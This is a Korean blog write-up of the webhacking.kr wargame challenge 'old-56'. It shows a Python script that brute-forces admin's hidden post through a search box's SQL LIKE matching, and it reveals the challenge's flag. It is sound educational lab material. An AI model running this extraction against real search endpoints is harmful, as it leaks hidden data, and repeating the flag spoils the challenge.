Tiny Bunny

Wargame/webhacking.kr

old - 56

bento 2024. 5. 13. 11:45

게시판 같은 형태와 검색을 할 수 있어보인다
 

guest가 쓴 hi~를 클릭하면 글 내용이 나오고 
 

해당 내용을 검색하면 guest가 쓴 글이 나온다
 

값의 일부를 입력해도 나오는 것을 보아 like 연산을 하고 있는 것 같다
 

admin이 쓴 글은 denied되고 
 

flag를 검색했을 때 admin의 글이 뜨는 것으로 보아서 해당 값을 알아내야 할 것 같다
 
python 코드를 작성해서 아스키코드로 하나씩 비교를 해주기로한다

처음 작성했던 코드는 %를 따로 처리하지 않아서 해당 값처럼 나오고 있었다..
(%는 SQL에서 like연산 시 와일드카드)
 
50까지 반복하는 건 Search값이 50까지로 제한되어있다 

import requests

# 대상 웹 페이지 URL
url = "https://webhacking.kr/challenge/web-33/"
# flag의 시작 부분
flag = "flag{"

# 최대 50글자의 flag 값을 찾기 위한 반복문
for i in range(1, 50):
    # ASCII 문자 범위 (32부터 126까지)
    for j in range(32, 127):
        # '%' 문자를 제외하고 검색 데이터 생성
        if chr(j) != '%':
            data = {'search': f"{flag}{chr(j)}"}
            # 웹 페이지에 POST 요청 보내기
            response = requests.post(url, data=data)
            # 만약 'admin'이 포함된 게시글을 찾으면
            if "admin" in response.text:
                # flag에 해당 문자 추가
                flag += chr(j)
                # 찾은 문자 출력
                print("Found character:", chr(j))
                break
    # 만약 flag가 완성되었다면 반복문 종료
    else:
        print("Flag found:", flag)
        break

# 최종 flag 값 출력
print("Flag:", flag)

 

 

HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_ 는 아니고.. 

토가 히미코는 귀엽다 출제자가 뭘 좀 아는 군

HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO? 가 flag다
마지막 _은 와일드카드라 그런가..? 이유를 모르겠다

728x90

'Wargame > webhacking.kr' 카테고리의 다른 글

old - 45  (0) 2024.05.13
old - 23  (0) 2024.05.13
old - 43  (0) 2024.05.10
old - 19  (1) 2024.05.01
old - 3  (1) 2024.05.01